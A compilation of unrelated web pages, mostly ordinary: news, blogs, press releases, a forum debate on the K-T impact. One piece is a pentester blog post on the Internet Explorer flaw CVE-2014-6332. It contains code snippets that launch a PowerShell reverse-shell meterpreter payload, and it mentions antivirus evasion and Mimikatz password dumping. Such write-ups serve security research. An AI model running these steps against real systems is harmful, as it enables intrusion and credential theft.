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Public access and development: The impact of public access venues and the benefits of libraries
Public access to information and communication technologies (ICTs) can play an important role in development. Communities benefit when people can access information and communicate with experts and people in their social networks to learn about health, jobs, education, leisure activities, or whatever inspires them. When access to ICTs is public and available to
everyone in the community, such as in public libraries, telecenters, and cybercafés, it can be an effective tool for those that need it most. This brief describes some of the emerging findings of the Global Impact Study of Public Access to Information & Communication Technologies related to the impact of public access on development, including the unique benefits successful public libraries offer.
Recommended Citation
Clark, M., Sey, A., & Sullivan, J. (2012). Public access and development: The impact of public access venues and the benefits of libraries. Seattle: Technology & Social Change Group, University of Washington Information School.


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Darien field hockey nips Greenwich
The Darien High School field hockey team entered Friday's game against rival Greenwich with a record of 12-0 and a whopping 11 shutouts to its ledger. Yes, the Blue Wave, who had outscored the opposition 64-2 through 12 games weren't exactly used to being tested this season -- especially in the second half of games.
The scenario changed a bit Friday for Darien, as it found itself embroiled in a tie game with FCIAC foe Greenwich as the minutes wound down in the second half. But even though the Blue Wave haven't experienced many tense moments so far this season they showed that they still know how to pull out close games.
Sam Johnston's second goal of the afternoon with 10 minutes, 19 seconds remaining in the second half propelled Darien to an exciting 2-1 win over Greenwich on a cold, rainy day at GHS. The two-time defending FCIAC champion Blue Wave (13-0) will close out their regular season next week against New Canaan and Staples before heading into the league tournament. Darien went 21-0 a year ago en route to capturing the FCIAC and Class M titles for the second consecutive year.
"This was a fun game," Darien coach Mo Minicus said. "It was a hard fought battle, you could feel the emotion in the warmup. There seemed to be a contest in the warmup of which team could cheer and scream louder and it was nice listening to the two of them go back and forth."
The Cardinals, who dropped a 2-0 decision to the Blue Wave last year, are a solid 10-4-1 on the season and 10-2 in league play following Friday's impressive effort.
"Our team did a great job today against an incredibly tough opponent," said GHS coach Ally Orrico, whose squad has defeated formidable Wilton and New Canaan this season. "This was a good learning experience for our girls and I think it will boost their confidence. We played the best team in the FCIAC and hung right with them."
Johnston's winning goal came off one of Darien's 19 penalty corners. Receiving the insert from Alex Iqbal, Elle Riegel blasted a powerful hit that deflected off the pads of Greenwich goalie Brooke Cabrera. Stationed at the left post, the opportunistic Johnston got her stick on the ball and flicked it into the goal, making it a 2-1 game.
"I was in the right place at the right time at the left post," said Johnston, a senior. "Playing against Greenwich is always a lot of fun. We knew they were going to come out on fire, so we just brought it back."
After Johnston tallied the go-ahead goal, the Cardinals were unable to generate scoring chances. Darien, however, forced a slew of penalty corners, thanks to the aggressive play of Riegel, Sophie Doering and Johnston inside the circle. Cabrera and the Cardinals' defenders stood strong in the face of pressure though, keeping it a one-goal game.
"We tried our hardest out there today," said Cabrera, a senior tri-captain. "They had a lot of shots on goal and a lot of corners. But defensively, I thought we did a great job."
Cabrera made 17 saves, 11 of which came in the second half.
"Brooke Cabrera is the best goalie I've ever seen in the FCIAC," Minicus said. "It was a great game by both teams, but she made some phenomenal saves to keep the game close."
The Blue Wave struck early, seizing a 1-0 advantage 1:30 into the first half. Johnston scored from close in off a nice setup by Riegel, putting the visitors ahead.
"It was a good hit by Elle, I was on the left post, made eye contact with her and hit it in," Johnston said. "We just wanted to make good, quick passes because we knew they were going to rush us."
Darien kept the ball on Greenwich's end of the field for the majority of the first half, but the home team gained some momentum midway through the half. The Cards only had two shots on goal, one of which was on their second penalty corner of the game. Senior midfielder Meg Williamson sent a hard hit toward the goal that Darien goalie Aimee Rich stopped with a kick save with 15:40 left in the first half. Williamson, however, scored the equalizer in the second half on a perfectly executed corner.
Storm Kodde sent the insert pass to Caroline Keaveney, who stopped the ball. Williamson then charged in for the shot and hit the ball by Rich, tying the score at 1-1 with 22:42 left to play.
"The stop was perfect," Williamson said. "We have been working on that play a lot in practice and have been doing it over and over."
Said Orrico: "From point A to point B to point C, it was perfectly executed with a lot of speed."
The score remained knotted at 1-1 for more than 12 minutes, as Cabrera and Greenwich's defense kept the hard charging Blue Wave off the scoreboard.
"Our defense was amazing," said GHS senior tri-captain Julia Esposito, who helped spark the team's solid defensive effort. "Darien has an awesome attack, so the defense had a lot of work today. But we all worked together and put it all out there. It was a real intense game in what was the last home game for our seniors."
NOTES: Darien, which is close to clinching the No. 1 seed in the FCIAC Tournament, will play New Canaan on Monday and Staples on Tuesday. ... GHS will close out its regular season Monday against Ridgefield. ... Orrico said the Cardinals may get the No. 2 or No. 3 seed in the league tourney, which is scheduled to begin on Friday.

subset: commoncrawl


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$125 Million Loan For Chinese Railroads Approved
The Xinhai Revolution in China began in October 1911. Local Chinese businessmen who had invested in promoting railways were determined not to let central government officials profit from this new venture which the Qing royal family through the Prince Regent, father of the boy Emperor, arranged to be financed by foreign loans. Qing military efforts at suppression backfired and in October 1911, a revolt at Wuchang took place after a bomb exploded accidentally that implicated Imperial Army officers in Wuchang, China. Rather than wait to be arrested, the officers started a rebellion that spiraled out of control and resulted in the downfall of the Manchus that had ruled China for 300 years. But the railroads still were to be built and money was scarce in a fractured newly formed Republic of China.
On January 1, 1913 the "six powers" – Britain, the US, Germany, France, Russia and Japan – agreed to loan China $125 million to build it's railways. The loan was part of the attempt by the major powers to maintain their grip over post-revolution China and control the economy by demanding direct oversight in revenue collection in certain Chinese industries.


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Choose your hotel/property/company and then your name to begin booking. Please ensure you have the guest's contact info (name/email/cell number) prior to booking.
Hilton Atlanta Downtown
Sheraton Atlanta Hotel
Hyatt Regency Atlanta Downtown
Ritz-Carlton Atlanta
Loews Atlanta Hotel
Intercontinental Buckhead Atlanta
Atlanta Marriott Marquis
Westin Atlanta Airport
Ellis Hotel Atlanta
Motel 6 Peachtree Atlanta
Westin Atlanta Downtown
JW Marriott Atlanta Buckhead
Renaissance Atlanta Hotel Midtown


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This month's teacher spotlight shares a story from Dominique Olivarez's MacDonald Middle School classroom. Together with MacDonald Librarian, Lynley Watters, Dominique and her class worked together to use Aurasma to create book reviews.
Aurasma is changing the way students interact with the world. It is an augmented reality app that allows students to turn everyday object, images and place into new opportunities for engagement through striking augmented reality experiences.
For this particular project, class drawings were scanned and connected them to video book reviews the students created, all of which are posted in the MMS library. Here are pictures of Dominique Olivarez's 6th graders book reviews using the Aurasma app on the iPads.
The district technology rotation and replenishment cycle is an ongoing effort to keep district PC's and other hardware up to date. This summer, we are planning for the replacement of MMS teacher PC's and Central Admin PC's (they are the oldest in the district) and replacing one cart of the oldest laptops so that we have a working supply of spares moving forward.
For more information related to ongoing and future technology bond projects, please visit our department website or the tech bond website. Thank you.
Interested in editing classroom video? Camtasia Studio licenses are now available for East Lansing teacher PCs.
Camtasia Studio gives you the tools to record your computer screen and then turn those recordings into professional-grade videos. You can also edit regular video using Camtasia Studio.
This installation must be done manually. If you are interested in having Camtasia Studio installed onto your PC or learning more about using Camtasia Studio, please submit a Technology Work Request. Thank you.
There are bad people in this world that write dangerous code and embed it in Trojan Horses, like emails, and try to get unsuspecting people to open their doors, or their computers in this case. These bad people can easily make an email that looks legitimate and send it all over the world. You might get an email from UPS with a tracking number asking you to click on the link. Or an email from your bank with a link to click to stop your account from being deactivated. These emails look safe and legitimate but they are intended to trick victims into clicking on a link and loading the bad code onto their computers.
If you get an email that looks safe, don't click on any of the links in the email and don't open any attachments unless you were expecting that email. Instead, open your browser and directly log into your accounts from their websites or call the sender in question. When in doubt, delete the email. If it's legitimate, they'll most likely reach out to you again.
Be safe and be suspicious when it comes to emails and the Internet!
Whitehills students enjoyed listening to Michigan author, Buck Wilder, tell tales of life, the great outdoors, and animal scat. Now his books don't stay on the library shelves!
Mar. 29 - Website Workshop
Elementary & Secondary Session - DK-12 - East Lansing High School Commons Lab - 4:15-5:45
Elementary & Secondary Session - DK-12 - East Lansing High School Commons Lab - 4:15-5:45
Apr. 14 - Culturally Responsive PBIS (CR-PBIS) and Culturally Responsive Teaching - Session 3
Elementary Session with Matt Phillips - DK-5 - location TBD - 4:15pm-5:45pm
Apr. 19 - Game-Based Formative Assessment (Kahoot & Quizizz)
Secondary Session - 6-12 - East Lansing High School Commons Lab - 3:30-5:00
Elementary Session with Matt Phillips - DK-5 - location TBD - 4:15pm-5:45pm
Apr. 19 - Game-Based Formative Assessment (Kahoot & Quizizz)
Secondary Session - 6-12 - East Lansing High School Commons Lab - 3:30-5:00


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Metro Traffic School, Now Offers Florida Permit Test Online
Metro Traffic School, a non-profit agency, now offers the Florida Permit Test Online. It offers the Florida Permit test online for students under the age of 18. The Florida Permit Test (DMV Permit Test) can be completed online.
Miami, FL -- (SBWire) -- 10/26/2012 --Metro Traffic School, a non-profit agency, now offers the Florida Permit Test Online. It offers the Florida Permit test online for students under the age of 18. The Florida Permit Test (DMV Permit Test) can be completed online. Completion of this test will grant eligibility for student to obtain a Florida Driving Permit prior to driving.
Anyone under the age of 18 is eligible to complete the Florida DMV Permit Test online! However, for this test, one must first complete the 4-hour First Time Driver Drug and Alcohol program. The exam must be taken by those getting a learners permit or restricted license and those getting a Florida Driver License. The exam consists of two sections (Road Signs, Road Rules) consisting of 20 multiple choice questions each. They also assist one in preparing for this Florida Permit test through its Florida Driving Handbook.
Metro Traffic School is also a well-known Driving School in Florida. Students can choose their individual lessons which are 1.5 hours in length or students can save money with a discounted 3 hour package divided into 2 lessons or 6 hour package divided into 4 lessons. The more hours students purchase, the more they save on each 1.5 lesson. They do pick up their students from their home, school, or office within Dade, Broward or Palm Beach County. If anyone is looking for an insurance discount, the 6 hour course meets insurance industry standards. Teen drivers must be eligible and obtain a learner's permit prior to driving. All driving instruction is given by State Certified instructors in a dual-brake equipped car.
About Metro Traffic School
Metro Traffic School is a non-profit agency approved by the State of Florida and the Department of Highway Safety Motor Vehicles. They offer a full core curriculum for DUI programs, First Time Drivers and Traffic School courses. The principal goal and mission of this online driving school in FL is to enable students to make the streets a safer place for all drivers to share. To learn more about their online courses and permit test, log on to http://www.metrotrafficschool.com .
Media Relations Contact
Abs Girdhar
View this press release online at: http://rwire.com/168133


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Seminar: Recent Advances in Microwave Technologies for Wireless Backhauling
Edward AU - Principal Engineer, Corporate Research, Huawei Technologies
Communication systems
Date: June 30, 2011
Location: Eurecom - Salle des Conseils
Users want seamlessly connected advanced services delivered on-demand wherever they may be, on any platform, over any available network. But as the user experience becomes richer, the underlying technologies and networks become more complex. Further, the rapid development of mobile broadband services has brought explosive growth of bandwidth requirements, which forces operators to continuously expand their networks. As one of the key physical media for mobile backhaul networks, point-to-point microwave is rapidly evolving to support the increasing demand on bandwidth while allowing operators to reduce network operational costs. In this seminar, we overview some recent developments, challenges, and future direction (mainly from communications perspective) in the microwave industry.
Permalink: http://www.eurecom.fr/seminar/23099
Recent Advances in Microwave Technologies for Wireless Backhauling


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Sick Guilt
That dread. You wake up in the early morning hours feeling as though you are swallowing fire, ears aching, head full of cotton wool, and all you can think is oh no. Please no. I can't be sick. I don't have time to be sick. I've made commitments to clients to help them feel better. I have a business to run. I have things to do.
So, you layer on feeling physically rotten with feeling mentally rotten. Having to change appointments, messing with someone's already limited time, you can't help but feel as though you've let them down, disappointed them.
Why do we do this to ourselves? Why do we pile on the guilt rather than pile on the duvet? Why do we feel anxious rather then rested? Why do we punish ourselves for being human?
Between the cold & flu relief tablets, the boxes of tissues, the endless cups of tea..these are the worries that fill my mind. With the winter we're having, I doubt I'm the only one.
Be kind to yourself,


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We use visual design to communicate ideas and connect customer experiences with your brand.
Art direction for interfaces
We provide art direction and design that translates the nuances of your brand personality into choices around interface elements, including typography, colour and imagery. We can create visual design assets including iconography, illustration, photography, video and animation.
Visual design for research & concepting
In the context of research and product concepting, we create infographics, storyboards, personas, journey maps and polished presentation material that help you convey your ideas in a way that is impactful and memorable.
Visual design for research & concepting
At the beginning of a project, information and new ideas are visually concepted into early-stage visual artefacts gives your team the opportunity to visualize the project's trajectory. These concepts offer an opportunity for early testing with your users to confirm that the right decisions are being made, which saves both time and financial resources for later in the project.
Contact us to talk about your visual design & brand integration needs
Why Spatial for design services?
Great design is about solving problems and creating things that serve people's needs. We follow an iterative, human-centred process that puts the customer at the centre of the design process.
Related work


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Welcome to the travel journal for EWB-CU Uganda.
Our team [Rebecca, Harrison, Bethany, David, Rohan and Allison] will be working in the Soroti region of Uganda for four weeks, installing a rainwater harvesting tank and checking in with four MFP engine sites.
Read more about EWB-USA CU's Uganda Program at <http://www.cuewb.org/projects/uganda/> and check out our other two programs in Morocco and Ghana!


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After a few months of waiting, last month the folks from HTC finally announced the Glamour Red HTC One would be hitting shelves and available to all. It was first spotted online the day they announced the HTC One, but it was never heard from again. Now however, those in the UK can get this impressive aluminum wrapped flagship smartphone in a brilliant red color variation. Check it out below.
We've seen a few mock-up pictures as well as the press render, but what we have today is actual photos of the HTC One in Red, thanks to ePrice, who is showing us the beautiful new color. The device, as expected, is available starting today from Phones 4U and a few others.
The device is being offered on contract to carriers like EE, Orange, Vodafone, and T-Mobile, and as you can see from the images provided – it looks pretty sharp with the new color. So far we haven't heard if this device will make it elsewhere, but I'm hoping Verizon somehow manages to offer the red version at release too. Which is rumored for early August.
As you expected, this is the same phone we've already reviewed and absolutely love. You'll enjoy a 4.7-inch 1080p full HD display, Android Jelly Bean, Sense UI 5 with Blinkfeed news features, Zoe, and that quality Ultrapixel camera on board. Then of course it's all powered by Qualcomm's quad-core Snapdragon 600 processor and 2GB of RAM. So yes, it's the same phone, only that aluminum frame is now bright Glamour Red. Who's interested?
VIA: Phones 4U


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Google's big annual developer conference, Google I/O, begins next week.
It's where Google typically rolls out a bunch of new products and gives developers and press a sneak peek at what's coming in the next year.
Last year, Google made a ton of announcements — but it hasn't followed through on all of them. Not exactly.
FULFILLED: Google Music came out.
Google Music is out of beta and has since re-launched and re-branded under Google Play, which includes Android applications and a lot of other content.
It has a new design and a new storefront to go with it. Google followed through on Google Music, even if it isn't as stellar as everyone hoped.
BUSTED: Android @ Home is essentially vaporware.
Google had a huge presentation on a project called Android @ Home — a way to configure and control every bit of your home with your Android device.
The idea was that you could control your sprinkler or your fridge with an Android device and a big batch of software development kits.
But since then, we haven't really seen Google go all-in on this.
FULFILLED: Google made some serious expansions to the Chrome Web Store.
Google last year made a big commitment to the Chrome Web Store by opening it up to a bunch of new languages.
It also launched Angry Birds on the web store, and said it was committed to bringing in a bunch of high-level applications for the Chrome Web Store.
We've since seen some high-quality games like Bastion and Cut The Rope land there, and there are hundreds of apps on the Web Store.
BUSTED: Awesome Android accessories never came out.
Google unveiled the Android Accessory Design Kit (ADK), which was supposed to give developers new ways to equip phones with USB accessories.
The idea was that you would have Android users carrying around a bunch of extra gadgets, like game controllers.
But how often do you see Android users carrying around accessories? This seems like a bit of a dud, with most users looking only to depend on the phone — not accessories.
FULFILLED: Google released its next-generation Chromebooks.
We've had a chance to play around with Google's Chromebook laptops, which are basically lightweight computers that have a web-based operating system.
They're actually not that bad.
The Chromebook still doesn't compete with a top-of-the-line computer like a MacBook Air, but it shows some promise.
BUSTED: Chromebooks didn't revolutionize the enterprise.
Google also unveiled a gigantic program where they would rent out Chromebooks to schools and businesses.
The idea was to remove the need to constantly update hardware and software by having regularly-renewed hardware and web-based software.
Unfortunately, most businesses are still rocking Windows or Mac computers. Nifty idea, though.
FULFILLED: Google redesigned the Android Marketplace.
In a side presentation at Google I/O next year, Google teased a bunch of updates to the Android Marketplace, acknowledging that it had some problems.
Well, it did one better than that. Google smashed the Android Marketplace in March, redesigning it and wrapping it up with Music and other services as Google Play.
The new storefront has better ways to discover new content and find what you're looking for.
BUSTED: Google still can't release timely updates for Android.
At Google I/O last year, the company said it forged new partnerships with carriers to make sure Android devices were getting updates on time.
But to this day, Google still can't get the newest updates out to most phones. There's a ton of operating system fragmentation, unlike Apple's iPhone.
Google also promised devices would continue to get updates for 18 months. That doesn't look like it's happening.
FULFILLED: Google released Ice Cream Sandwich on time!
Google's big announcement last year was the Honeycomb update, which provided a better tablet operating system for Android tablets.
But the company also teased Ice Cream Sandwich, saying it would come out in the fourth quarter last year. Google made good on that promise, and it's the most competitive operating system for the iPhone yet.
BUSTED (sort of): Google's "flagship" tablet was a dud.
At the end of the keynote, Google gave away a ton of Samsung Galaxy Tab 10.1 tablets. This was supposed to be a big, big deal.
Unfortunately the Galaxy Tab was nowhere near competitive to the iPad. Neither was the Xoom, or any other Android tablet.
Google is expected to unveil a Google-built tablet at I/O this year, so we'll see if they can make a serious pass at the iPad. Google's supposedly partnering with Asus to build the tablet.
We do like some Android devices, though...
Check out the best gadgets of 2012 (so far) >
Get the latest Google stock price here.


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In one of the new sources I follow, there was a review of "This is not an Islamic Revolution". Allow me to be slightly lazy and copy here the fragments they choose too.
Our (read: Western) fear that any uprising in the middle east must resemble the devastating Iranian example is false.
Look at those involved in the uprisings, and it is clear that we are dealing with a post-Islamist generation. For them, the great revolutionary movements of the 1970s and 1980s are ancient history, their parents' affair. The members of this young generation aren't interested in ideology: their slogans are pragmatic and concrete – "Erhal!" or "Go now!". Unlike their predecessors in Algeria in the 1980s, they make no appeal to Islam; rather, they are rejecting corrupt dictatorships and calling for democracy. This is not to say that the demonstrators are secular; but they are operating in a secular political space, and they do not see in Islam an ideology capable of creating a better world.
There is no link with terrorist groups. This is all about fighting repression and corrupt regimes.
Indeed, global jihad is completely detached from social movements and national struggles. Al-Qaeda tries to present itself as the vanguard of the global Muslim "umma" in its battle against western oppression, but without success. Al-Qaeda recruits deracinated young jihadists who have cut themselves off entirely from their families and communities. It remains stuck in the logic of the "propaganda of the deed" and has never bothered to try to build political structures inside Muslim societies.
Even more, thinking that repressive, secular regime will somehow protect "us" against Islamic fundamentalism is flawed.
It is also a mistake to see the dictatorships as defending secularism against religious fanaticism. With the exception of Tunisia, authoritarian regimes in the Arab world have not made their societies secular; on the contrary, they have reached an accommodation with a neofundamentalist form of re-Islamisation in which the imposition of sharia law is called for without any discussion of the nature of political power.
It is a VERY compelling read. Recommended.


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Alan T. Peterson needed a gun. This was not something that would be easy for him to tell most of his college buddies yet it was crucial that he did it now.
You see when Alan was in college he was very much against guns. He was an undergraduate student during the Virginia Tech shooting in his senior year of college. In fact, he was a student at Virginia Tech. After that Alan became a big advocate for stricter gun laws. He wanted to make sure that everyone around him new that guns were not just a privilege. A gun is a responsibility. People need to make sure they use it well. Alan got married three weeks after graduating Virginia Tech. He had a masters in teaching and her in Marketing. Directly prior to graduation Alan decided to apply for jobs and he was offered one teaching at an inner city high school in Harlem. Without really going into detail the school told him it was basically a trial run. So he had to tell his future wife that they would move to Harlem. After two weeks there Alan decided he liked the school and loved that he was making a difference in the lives of these kids, many whom came from broken home, at the same he did not want his wife and two kids to feel threatened. He figured getting a gun would be a good way to protect them all. So Alan, at this moment, decided he was going to get a gun to protect them all. It seemed like a last resort for him yet he figured he needed that gun to help the greater community and more importantly his family. So Alan went to the gun store and got one of the best guns out there (check out Gunivore for all the gun reviews you need). He was going to use it to defend his family and protect them from any dangers they may face. So he went to the gun store and bought a gun for himself to protect all of those peoples. He made sure the safety was locked and drove on his way home. Upon arriving home Alan went up to the attic and made sure to hide his gun in an area where his children wouldn't be able to get to. He put the gun on the top shelf of an old bookshelf located there he made sure it was in a box with a cover over top. He then decided to put the gun in a safe which he only knew the code too and that is exactly what he did. His wife or kids weren't home so he figured he would hide it from everyone. He did put the safe in an easy to access area so he could shoot, and even shoot from the top of the roof if need be. He doubted he ever would though. His wife then did not usually want him to have this gun as I explained earlier. Yet as we said Alan felt like it would protect them
The end!


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Jackson Touchdown Club
presented by
For over six decades, the Jackson Touchdown Club, Inc., has shined as one of the most prestigious nonprofit athletic organizations in the South. The club was organized in downtown Jackson in November 1946, when Dr. Lacey Hughes and 15 other football fans gathered together to commemorate the sport of football.
Today, the Jackson Touchdown Club, Inc., continues its efforts to provide "football, fellowship, and fun" to its members and to the Jackson metro area. Club membership is composed of football fans representing many different colleges, universities, high schools, and professional affiliations. The only criterion for membership is to be a fan of the sport of football.
On fall Mondays (and an occasional Tuesday depending on speakers' schedules) from the Monday after Labor Day through the first Monday following the Thanksgiving holidays, the Jackson Touchdown Club, Inc., presents a fabulous array of athletic speakers at the club meetings. The Club annually and traditionally invites the "Big Three" head football coaches at Ole Miss, Mississippi State, and Southern Mississippi to speak to the members of the club. Membership benefits include 12 meetings including meals, discounted ticket prices to club events, plus other benefits as designated by the Club's Board of Directors.
© 2018 Jackson Touchdown Club


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Look up yellowstone.dad wrote: Maybe it was, but I take it with a grain of salt for now. In the present, we don't see water coming up to water the earth, or other things coming up with it much, like salt, etc.
Perhaps in environments similar to yellowstone.dad wrote:The present is different in many ways. Things like a world of water and it's weight pressing down on the earth, and even things like possible chemical and other changes in some rocks. Chert is formed underwater, some think dolomite is formed in a process starting as evaporation in limestone, etc.
Where are they then?dad wrote: Water did come up, whether it was mainly localized in some ares, and spread out from there, or was evenly brought up, we don't know. If some areas were sources for this we would expect concentrations or elevated levels of some things in some areas.
What are you talking about? The evidence eliminates posibilities, making things more certain. Here is the full quote.dad wrote: Assumptions as to the cause of some of these are also less than certain.
For example, on a North Sea 'crater', this observation..
"They also eliminated salt intrusions from lower layers of rock, because the underlying Triassic and Permian strata were undisturbed. "
http://news.nationalgeographic.com/news ... rater.html
Thus leading to the conclusion that the crater most likely formed by some sort of impact."Stewart and Allen ruled out a volcanic origin because there were no magnetic anomalies in the crater. They also eliminated salt intrusions from lower layers of rock, because the underlying Triassic and Permian strata were undisturbed. "
Fair enough. We all do.dad wrote:So, I don't assume a present world type of intrusion, therefore, until the evidence is clear, I reserve judgement.
Wow taken way out of context!dad wrote:a volcanic origin which was also proposed as a cause for the iridium enrichment. Furthermore the chromium isotopic ratios determined in the K-T boundary are similar to the chromium isotopic ratios found in carbonaceous chondrites.
Did you do this on purpose, this is very misleading, and tantamount to lying!
Here's the full quote.
The next line cotinues to explain how a certain deposit leads to evidence for the posible composition of this meteor."Chromium isotopic ratios are homogeneous within the earth, therefore this isotopic anomalies exclude a volcanic origin which was also proposed as a cause for the iridium enrichment."
"Furthermore the chromium isotopic ratios determined in the K-T boundary are similar to the chromium isotopic ratios found in carbonaceous chondrites. Thus a probable candidate for the impactor is a carbonaceous asteroid but also a comet is possible because comets are assumed to consist of material similar to carbonaceous chondrites."
That is not what olivine means! Did you also catch the term meteorite, meaning quite clearly non-terrestrial?dad wrote: http://www.armageddononline.org/impact_event.php
"carbonaceous chondrite ..
A rare type of stony meteorite which contains large amounts of the magnesium-rich minerals olivine and serpentine and a variety of organic compounds.."
http://www.daviddarling.info/encycloped ... bchon.html
(Olivine something deep under the earth in case you didn't catch the relation.)
I am beginning to think that this is done intentionally! This quote was taken again out of context.dad wrote:Also, there are some strange things that require assumptions to try to explain.."
A borehole drilled into the Chicxulub structure hit 380 meters (more than 1000 feet) of igneous rock with a strange chemistry. That chemistry could have been generated by melting together a mixture of the sedimentary rocks in the region. The igneous rock under Chicxulub contains high levels of iridium
But the evidence for an extraterrestrial impact is so strong that it's a waste of time to try to explain away that evidence as volcanic effects
http://www.ucmp.berkeley.edu/education/ ... wen1b.html
Dad was trying to imply that there was evidence to explain away. However the evidence needing to be explained away was that for the meteoric impact, not that of volcanic explosions!Thus there is strong evidence for short-lived but gigantic volcanic eruptions at the K-T boundary. Some people have tried to explain all the features of the K-T boundary rocks as the result of these eruptions. But the evidence for an extraterrestrial impact is so strong that it's a waste of time to try to explain away that evidence as volcanic effects.
The evidence points to meteoric impacts.
With our current knowledge this is the best candidate. That's how science works.dad wrote:I simply wonder if anything else not in the present world processes could have caused shocked quartz. Maybe not, but just because present processes could not produce it, I haven't heard enough about it to be sure only a meteor could cause it. You seem to be but haven't really said much about it.Please explain, you lost me.
Then it should be quite easy for you to show empiracal data rather than opinions and what ifs, and other non-scientific tidbits.dad wrote:I could find a book that says anything as well. A lot of current research is on the net. Representing experts and decades of work in many cases.I could find a web site which claims just about anything,
Why are you pressed to find other answers, is there anything other than your own beleifs which points to the probability that meteors are not the correct explanation???dad wrote:No, it likely is significant. Question is how?Are you absolutely certain that shocked quartz is not a significant detail?


text: CVE-2014-6332: it's raining shellswesley | November 2014 This is a shared post by me (@wesleyneelen) and Rik van Duijn (@rikvduijn) Today @yuange tweeted a proof of concept for CVE-2014-6223. CVE-2014-6332 is a critical Internet Explorer vulnerability that was patched with MS-14-064. The POC was able to execute the application notepad.exe. We wanted to pop some actual shells with this so now the race began to find a way of executing more than just notepad of calc. The "great" thing is this vulnerability affects Windows 95 IE 3.0 until Windows 10 IE 11 from a pentesters perspective this is awesome from a blue team perspective this will make you cry. CVE-2014-6332 alliedve.htm http://t.co/LeOhLFjnni allie(win95+ie3-win10+ie11) dve copy by yuange in 2009. — yuange (@yuange75) 12 november 2014 We wanted to pop shells that's why we created a Metasploit module, this allows us to adapt our exploit when needed and gives us the usability of the Metasploit framework. This gives the ability to start lots of different payloads supported by the Metasploit framework. To start the payloads, we decided to use Powershell. This has some advantages, Powershell is for example useful for bypassing anti-virus software, because it is able to inject payloads directly into memory. Next to this using newer versions of Windows we were unable to even run cmd.exe or other commands like ipconfig. Fun fact application whitelisting usually whitelists Powershell so use more Powershell! The original exploit runs the notepad.exe file in order to prove it was able to execute code. We modified this in order to execute the powershell.exe and inject a meterpreter into memory. First we modified the HTML page so its easy to handle within ruby, next we added the powershell.exe In order to see if it would actually execute. def on_request_uri(cli, request) payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true }) payl.slice! "powershell.exe " the above code generates a complete powershell one liner for a payload we are using a reverse_tcp meterpreter shell but it could use something else. function runmumaa() On Error Resume Next set shell=createobject("Shell.Application") shell.ShellExecute "powershell.exe", "#{payl}", "", "open", 1 end function The magic runmumaa() function, after safe mode is disabled this function is called and the actual shell is executed using the earlier generated Powershell payload. In the short time available to us we were unable to figure out how the exploit actually works the function setnotsafemode() seems to do the heavy lifting. Let's see if we are able to pop a shell shall we? First we set up our exploit, we added our module to the path: /usr/share/metasploit-framework modules/exploit/windows/browser/ folder using name: ms14_064_ie_olerce .rb. The module has various options which need to be configured, as stated earlier we used a reverse_tcp meterpreter payload. Next we started our handler and using internet explorer navigated to the url, we see a quick popup from powershell but this disappears quickly. Checking Netstat we see a connection to port 80 from the process "system" to our Kali VM. Checking metasploit we see we have gained a shell and are now able to execute system command's maybe try out that fancy new privilege escalation exploit (exploit/windows/local/ms14_058_track_popup_menu) and use Mimikatz to read passwords in plaintext J. Remember this is a quick and dirty POC Metasploit dev's are probably yelling at their screens telling us how this is not how to build a proper module. They are right! But it works and with some work this could be a full-fledged Metasploit module. The Metasploit module can be found here: ms14_064_ie_olerce.rb UPDATE 28/11/2014: The module has been merged in to the official Metasploit repository Please note: make sure to have the latest Metasploit installed. For more details about the vulnerability: http://securityintelligence.com/ibm-x-force-researcher-finds-significant-vulnerability-in-microsoft-windows/#.VGRnQfnF9nB


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The brother of actress Mia Farrow has reportedly killed himself.
Wired PR News – The brother of actress Mia Farrow was found dead Monday night in his studio. As reported by the Associated Press (AP), 66 year-old sculptor Patrick Farrow was stated by authorities Wednesday to have killed himself with a gunshot to the head.
Meg Fitch, a librarian who worked near the home of Farrow and his wife Susan, is quoted in the report as stating of the loss, "He and Susan both are very integral to this community… They're just very friendly people, very warm people. I don't even know how to express it. I just felt such grief yesterday when I heard the news."
Mia Farrow has starred in such films as "The Great Gatsby" and "Rosemary's Baby." Her manager Laura Berwick is quoted by the AP as stating, "The family of Patrick Farrow is grieving the tragic loss of their beloved husband, father, grandfather, brother and uncle who sadly chose to take his own life… They greatly appreciate the support of their friends during this difficult time."
Photo Credit: Wikipedia User hdptcar from Bangui, Central African Republic


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Peace through broken piecesStandard
"On the way to get away from where you are, you can run so fast that you miss the blessings along the way. By the time you realize that you have missed them, a major portion of your life has taken place without you."-Iyanla Vanzant
I have recently been struggling with inner issues dealing with past faults and pain. It's a burden that overwhelms your spirit when it comes across love and happiness. Being broken is almost a liberating feeling, you have no place to go but up. You are in no rush to get the cracks filled, you let life fill them for you. With being broken comes the past paranoia which brought the hurt, when you come to similar issues, you cant help but convince yourself that the circumstances will be the same.
I met two people when I was broken, both of which became my best friends. I knew there was something special about them and wanted to take more interest in them. We both instantly clicked, one became my female best friend and the other was a male I started to see. They would give me their attention, share their life, enjoy time with me and were willing to show me how beautiful I was. I couldn't bring myself to the realization that someone thought so highly of me, someone thought so highly of our relationship. They wanted to be apart of my everyday, my joy, my laughter and my time. I created scenarios in my mind to slowly push them out and to sink in my loneliness. I would rather be alone than risk the potential of becoming hurt and losing these people.
I had a connection to them, I could feel their pain, I could feel their happiness, I could feel their struggles, I could feel their heart and I could feel their soul. Something would come over me when we would engaged in a deep conversations. My spirit shifted to the top layer of my skin, and released my inner knowing and answers to their life. I learned so much about myself through them, I saw myself in them and we were weak and strong together. I couldn't accept the fact that we were a reflection of one another, that they were just like me, broken, irritated and irrational. I wasn't there yet to give them love or become the love they needed. I felt as if they were overwhelming me, suffocating me, I became numb and was no longer fully presence.
They were both a big role in my motivation to spiritual wellness and healing. My girl friend and I would go to meditations, practice restorative yoga, have spiritual talks, encouraging talks and would bring each other up. My boy friend would remind me how beautiful and amazing I was, encourage me to take care of my body, to be positive, to challenge my mind, body and soul and encouraged my fitness in yoga. When complementary energy is taken from your soul, you feel hopeless and lose your sense of self. I am a firm believer in self-healing and discovery but I know it takes a community of soul mates to bring you up along the way.
" And it was during this time that spirit and I became all but strangers. On most days, I lost track of my spiritual practices and my faith. I prayed and I meditated, but I was no longer sure what I believed or how I felt about what I believed. The thing that saved me and my faith alive was when I sat to write, stood before an audience to speak, or coached another person, I could feel the living presence of Spirit in my being." -Iyanla Vanzant
I tried to escape them, but I couldn't. They were apart of my everyday life, apart of my outer happiness and internal healing. I grew very ill, uninvolved in outside life and wanted to be left alone. I wasn't ready to open up to the monster I was, the pain i suffered to get to that point or the sickness in my heart. It was crowding my mind and I needed out. I needed to come clean of the past, come clean of who I was and come clean of the wounds.
